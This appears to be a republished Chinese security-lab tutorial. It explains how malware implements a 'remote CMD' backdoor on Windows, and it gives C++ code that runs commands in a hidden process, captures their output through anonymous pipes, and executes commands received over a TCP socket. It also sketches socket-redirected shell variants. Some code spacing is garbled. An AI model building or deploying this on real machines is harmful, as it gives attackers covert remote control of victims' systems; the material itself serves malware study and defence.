序言
遠程 CMD 是指惡意程序接收到控制端發送的 CMD 指令后,在本地執行 CMD 命令,并將執行結果回傳至控制端。本文將演示使用匿名管道技術獲取 CMD 命令的執行結果。
相關API
CreatePipe:用于創建管道
PeekNamedPipe:用于判斷管道中是否有數據存在
ReadFile、WriteFile:用于向管道讀取或寫入數據
CreateProcess:用于創建CMD子進程,可指定啟動信息(STARTUPINFO)
實現原理
管道是一種進程間通信的技術,Window 上進程間通信技術還有文件映射、共享內存、郵槽、剪切板、事件等。
管道分為命名管道和匿名管道:
* 匿名管道只能在父子進程間通信,數據傳輸單向,不能網絡通信;
* 命名管道可在任意進程間通信,數據傳輸雙向,但同一時間只能有一端讀寫。
由于遠程 CMD 中僅僅需要執行 CMD 指令的結果,所以使用匿名管道即可,其使用流程如下:
1. 使用 CreatePipe 創建匿名管道,獲取管道數據讀取句柄和管道數據寫入句柄。
2. 初始化進程結構體,將管道寫入句柄賦給新進程控制臺窗口的緩存句柄;
3. 使用CreateProcess創建新進程執行CMD命令,并等待命令執行結束;
4. 在循環中使用 PeekNamedPipe 函數判斷管道中是否有數據,通過管道讀取句柄從緩沖區中獲取執行結果。
5. 關閉句柄,釋放資源。
編碼實現
關鍵代碼
// 執行 cmd 命令, 并獲取執行結果數據 bool PipeCmd(TCHAR* cmd_str, std::string& outbuf) { BOOL bRet = FALSE; HANDLE hReadPipe = NULL; HANDLE hWritePipe = NULL; SECURITY_ATTRIBUTES securityAttributes = {0}; STARTUPINFO si = {0}; PROCESS_INFORMATION pi = {0}; // 設定管道的安全屬性 securityAttributes.bInheritHandle = TRUE; securityAttributes.nLength = sizeof(securityAttributes); securityAttributes.lpSecurityDescriptor = NULL; // 創建匿名管道 bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0); if(FALSE== bRet) { printf("CreatePipe"); returnfalse; } // 設置新進程參數 si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow = SW_HIDE; si.hStdError = hWritePipe; si.hStdOutput = hWritePipe; // 創建新進程執行命令, 將執行結果寫入匿名管道中 bRet = ::CreateProcess(NULL, cmd_str, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); if(FALSE== bRet) { printf("CreateProcess"); returnfalse; } // 等待命令執行結束 ::WaitForSingleObject(pi.hThread, INFINITE); ::WaitForSingleObject(pi.hProcess, INFINITE); // 不斷從匿名管道中讀取結果到輸出緩沖區 while(true) { char buf[2048]{}; DWORD readbytes = 0; DWORD availbytes = 0; if(!PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL)) break; if(!availbytes) break; if(!ReadFile(hReadPipe, buf, min(sizeof(buf) - 1, availbytes), &readbytes, NULL) || !readbytes) break; buf[readbytes] = 0; outbuf += buf; } // 關閉句柄, 釋放內存 ::CloseHandle(pi.hThread); ::CloseHandle(pi.hProcess); ::CloseHandle(hWritePipe); ::CloseHandle(hReadPipe); returntrue; }
上面的代碼中首先調用 CreatePipe 函數創建匿名管道,并將返回的讀寫句柄保存到 hReadPipe 和 hWritePipe 變量中。
然后,通過設置STARTUPINFO結構體中的參數,將新進程的標準錯誤輸出和標準輸出都重定向到管道中,以便將命令執行結果寫入管道中。
接著,調用CreateProcess函數創建新進程,并將命令行命令作為參數傳入。
CreateProcess 函數執行成功后,新進程開始執行命令,并將命令執行結果寫入管道中,之后通過循環調用 PeekNamedPipe 和 ReadFile 函數,不斷從管道中讀取數據,并將讀取到的數據存儲到輸出緩沖區中。
最后,代碼關閉句柄,釋放內存。
測試實現
測試代碼
intmain(intargc, char** argv) { TCHAR cmd_str[] = L"ping 127.0.0.1"; // 執行 cmd 命令, 并獲取執行結果數據 std::stringoutbuf; if(false== PipeCmd(cmd_str, outbuf)) { printf("pipe cmd error. "); } else { printf("CMD執行結果為: %s ", outbuf.c_str()); } system("pause"); return0; }
遠程傳輸
前面僅僅是把 cmd 命令的執行結果獲取了,要想實現遠程傳輸,需要加入網絡傳輸部分。
測試
服務端
#definePORT 9982 inttest_server() { SOCKET listenfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); sockaddr_in bindaddr; bindaddr.sin_family = AF_INET; bindaddr.sin_addr.S_un.S_addr = ADDR_ANY; bindaddr.sin_port = htons(PORT); bind(listenfd, (SOCKADDR*)&bindaddr, sizeof(SOCKADDR)); listen(listenfd, 1); sockaddr_in clientaddr; intclientaddrlen = sizeof(SOCKADDR); SOCKET clientfd = accept(listenfd, (SOCKADDR*)&clientaddr, &clientaddrlen); charbuf[1024]{}; intrecvbytes = recv(clientfd, buf, 1024, 0); if(recvbytes <= 0) return?-1; ???std::string?outbuf; ???PipeCmd((LPTSTR)buf, outbuf); ???std::cout?<< outbuf << std::endl; ???closesocket(clientfd); ???closesocket(listenfd); ???return?0; }
客戶端
inttest_client() { SOCKET connfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); structsockaddr_inServerAddr; ServerAddr.sin_family = AF_INET; ServerAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); ServerAddr.sin_port = htons(PORT); connect(connfd, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr)); TCHAR cmdbuf[100] = _T("ipconfig"); send(connfd, (char*)cmdbuf, (lstrlen(cmdbuf) + 1) * sizeof(TCHAR), 0); closesocket(connfd); return0;
效果
開啟服務器后,通過客戶端向服務端發送指令,服務端接收到指令后開始處理,最終測試能夠正確處理。
小結
上述的遠程 CMD 的實現通過一個匿名管道實現的,它是通過直接執行 cmd 命令,從而不需要創建傳遞命令的管道。遠程 CMD 的實現方法還有幾種變形方式,比如雙管道遠程 CMD,和零管道遠程 CMD,它們對應的思路就是對 CMD 的輸出輸入重定向位置進行控制,比如:
雙管道實現遠程 CMD 就是將 CMD 進程的輸入、輸出句柄替換為讀寫管道的句柄。
零管道實現遠程 CMD 就是將 CMD 進程的輸入、輸出句柄替換為 socket 的句柄。
審核編輯:劉清
-
WINDOWS
+關注
關注
3文章
3524瀏覽量
88426 -
CMD命令
+關注
關注
0文章
28瀏覽量
8299
原文標題:安全研發之遠程CMD
文章出處:【微信號:蛇矛實驗室,微信公眾號:蛇矛實驗室】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
評論